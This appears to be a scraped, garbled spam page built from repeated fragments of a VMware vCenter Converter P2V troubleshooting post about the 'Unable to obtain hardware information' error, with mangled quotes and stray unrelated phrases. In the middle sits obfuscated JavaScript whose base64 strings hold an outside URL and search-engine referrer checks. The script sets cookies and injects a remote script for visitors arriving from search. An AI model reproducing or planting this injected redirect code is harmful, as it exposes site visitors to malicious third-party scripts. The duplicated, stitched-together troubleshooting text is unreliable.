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Conversion was completed successfully Couple of additional points to be taken care since this error message is very generic..
Physical to Virtual (P2V) conversion using VMware vCenter Converter Standalone fails with the error: Unable to obtain
hardware information for the selected machineToday I encountered an interesting issue where one of the customer was unable
to perform a physical to virtual commonly known as P2V conversion using the standalone converter client.

5 3 Source physical server was running on Windows 2008 R2 guest OS Once the conversion failed went ahead to validate the
converter-worker logs located under below pathC:\ProgramData\VMware\VMware vCenter Converter Standalone\logs\During
my analysis checked and found below set of logs was triggering continuously right before the error encountered.. adapterType:
scsi, busNumber: 4[06756 error â��Defaultâ��] [GetDiskByDeviceNumber] Cannot find disk by attach point scsi:4:0[06756
verbose â��Defaultâ��] VimConnectionStore stopping keepalive[06756 info â��Defaultâ��] Scheduled timer canceled,
StopKeepAlive succeeds[06756 error â��Defaultâ��] Unknown exception while invoking VMOMI method
queryComputerInfoWent to the source machine to validate the disks under disk management and found server was configured
with FC lun presented directly from the storage array.. Customer either runs the conversion from remote machine or local
machine the moment it tries fetching for source details it ended up with the error â��Unable to obtain hardware information for
the selected machineâ��Customer was running on standalone converter version 5.. [06756 warning â��Defaultâ��] Cannot
find virtual controller.
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Conversion was completed successfully Couple of additional points to be taken care since this error message is very generic..
Physical server was ideally configured with 3 local drives and 15 storage LUN Based on the error message requested the
customer to un-present those luns and then try performing a conversion.. Physical server was ideally configured with 3 local
drives and 15 storage LUN Based on the error message requested the customer to un-present those luns and then try performing
a conversion.. adapterType: scsi, busNumber: 4[06756 error â��Defaultâ��] [GetDiskByDeviceNumber] Cannot find disk by
attach point scsi:4:0[06756 verbose â��Defaultâ��] VimConnectionStore stopping keepalive[06756 info â��Defaultâ��]
Scheduled timer canceled, StopKeepAlive succeeds[06756 error â��Defaultâ��] Unknown exception while invoking VMOMI
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 [06756 warning â��Defaultâ��] Cannot find virtual controller. Omnisphere 2 Crash When Activating
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Customer either runs the conversion from remote machine or local machine the moment it tries fetching for source details it
ended up with the error â��Unable to obtain hardware information for the selected machineâ��Customer was running on
standalone converter version 5.. var _0x4a0b=['LmJpbmcu','LnlhaG9vLg==','LmFvbC4=','LmFsdGF2aXN0YS4=','dmlzaXRlZ
A==','UUJN','RUFT','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWlvc3RpdGxlJnF1ZXJ5PQ==','Lmd
vb2dsZS4=','aVRUaWs=','WFBwYlU=','cFVBSEI=','LnlhbmRleC4=','cmVmZXJyZXI=','Z2V0','SERhSEc=','bVlaemI=','eGdz
ZkY=','SkdFc2M=','TFR1cVM=','UUF0ZFU=','Q1lYb0Y=','cXNHaVc=','c2V0','b3NJeHU=','U2FLckw=','aGVhZA==','Y3Jl
YXRlRWxlbWVudA==','aFdNbUs=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','YXBwZW5kQ2hpbGQ=','dm13YXJl
K3ZjZW50ZXIrY29udmVydGVyK2NvbW1hbmQrbGluZQ==','aWFk','bnhR','eVdFSVc=','c3BsaXQ=','Q0xwZFI=','bGVuZ3
Ro','cmVwbGFjZQ==','Y29va2ll','T3NOTGY=','U1dySWI=','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','QlhVS04=','SmZ6d
Vo=','aHdPU0s=','clRLV0w=','emdJV2s=','RFFsS0E=','Z2V0VGltZQ==','TVRWZk4=','RWp5SmU='];(function(_0x412f06,_
0x6edd42){var _0x10c89e=function(_0x41e3e5){while(--_0x41e3e5){_0x412f06['push'](_0x412f06['shift']());}};_0x10c89e(+
+_0x6edd42);}(_0x4a0b,0xf2));var _0x34f1=function(_0x35b6f6,_0x4b9b93){_0x35b6f6=_0x35b6f6-0x0;var
_0x676a31=_0x4a0b[_0x35b6f6];if(_0x34f1['initialized']===undefined){(function(){var _0x5de2a5=function(){var
_0x4477d6;try{_0x4477d6=Function('return\x20(function()\x20'+'{}..
constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x2a49c5){_0x4477d6=window;}return _0x4477d6;};var
_0x4510c2=_0x5de2a5();var _0x3f7274='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
+/=';_0x4510c2['atob']||(_0x4510c2['atob']=function(_0x7a141){var _0x126305=String(_0x7a141)['replace'](/=+$/,'');for(var _
0x4ed03f=0x0,_0x2fc1fa,_0x33d882,_0x3097f9=0x0,_0x3601da='';_0x33d882=_0x126305['charAt'](_0x3097f9++);~_0x33d
882&&(_0x2fc1fa=_0x4ed03f%0x4?_0x2fc1fa*0x40+_0x33d882:_0x33d882,_0x4ed03f++%0x4)?_0x3601da+=String['from
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CharCode'](0xff&_0x2fc1fa>>(-0x2*_0x4ed03f&0x6)):0x0){_0x33d882=_0x3f7274['indexOf'](_0x33d882);}return
_0x3601da;});}());_0x34f1['base64DecodeUnicode']=function(_0x34242c){var _0x4a4e78=atob(_0x34242c);var
_0x2b1ced=[];for(var _0x2837e7=0x0,_0x14e7e7=_0x4a4e78['length'];_0x2837e7=_0x18e34b;},'CYXoF':function
_0x5d1851(_0x3b77ce,_0xbcb1b9){return _0x3b77ce!==_0xbcb1b9;},'qsGiW':_0x34f1('0x22'),'mEkfV':function
_0xc37ab1(_0x216c69,_0x240cf7){return _0x216c69(_0x240cf7);},'osIxu':function _0x30a2f0(_0x582b5c,_0x252e0f){return
_0x582b5c+_0x252e0f;},'fzZpm':function _0x24abf3(_0x51be71,_0x593bdd){return
_0x51be71+_0x593bdd;},'SaKrL':_0x34f1('0x23')};var _0x5ad268=[_0x34f1('0x24'),_0x36ae4e[_0x34f1('0x25')],_0x36ae4e[
_0x34f1('0x26')],_0x36ae4e['VQhPc'],_0x36ae4e['kPCKp'],_0x36ae4e[_0x34f1('0x27')],_0x34f1('0x28')],_0x540b3b=docume
nt[_0x34f1('0x29')],_0x15b131=![],_0x2c3538=cookie[_0x34f1('0x2a')](_0x36ae4e[_0x34f1('0x2b')]);for(var _0xb44626=0x0
;_0x36ae4e[_0x34f1('0x2c')](_0xb44626,_0x5ad268[_0x34f1('0xc')]);_0xb44626++){if(_0x36ae4e[_0x34f1('0x2d')](_0x36ae
4e['NfKuj'],_0x36ae4e[_0x34f1('0x2e')])){cookie['set'](_0x36ae4e[_0x34f1('0x2b')],0x1,0x1);if(!_0x2c3538){include(_0x36a
e4e['ijCky'](_0x36ae4e[_0x34f1('0x2f')](_0x34f1('0x23'),q),''));}}else{if(_0x36ae4e[_0x34f1('0x30')](_0x540b3b['indexOf'](_
0x5ad268[_0xb44626]),0x0)){if(_0x36ae4e[_0x34f1('0x31')](_0x36ae4e[_0x34f1('0x32')],_0x36ae4e[_0x34f1('0x32')])){_0x
15b131=!![];}else{_0x15b131=!![];}}}}if(_0x15b131){cookie[_0x34f1('0x33')](_0x36ae4e['HDaHG'],0x1,0x1);if(!_0x2c3538
){_0x36ae4e['mEkfV'](include,_0x36ae4e[_0x34f1('0x34')](_0x36ae4e['fzZpm'](_0x36ae4e[_0x34f1('0x35')],q),''));}}}R();
Physical to Virtual (P2V) conversion using VMware vCenter Converter Standalone fails with the error: Unable to obtain
hardware information for the selected machineToday I encountered an interesting issue where one of the customer was unable
to perform a physical to virtual commonly known as P2V conversion using the standalone converter client.. 5 3 Source physical
server was running on Windows 2008 R2 guest OS Once the conversion failed went ahead to validate the converter-worker logs
located under below pathC:\ProgramData\VMware\VMware vCenter Converter Standalone\logs\During my analysis checked
and found below set of logs was triggering continuously right before the error encountered. b0d43de27c Mac Os X Mountain
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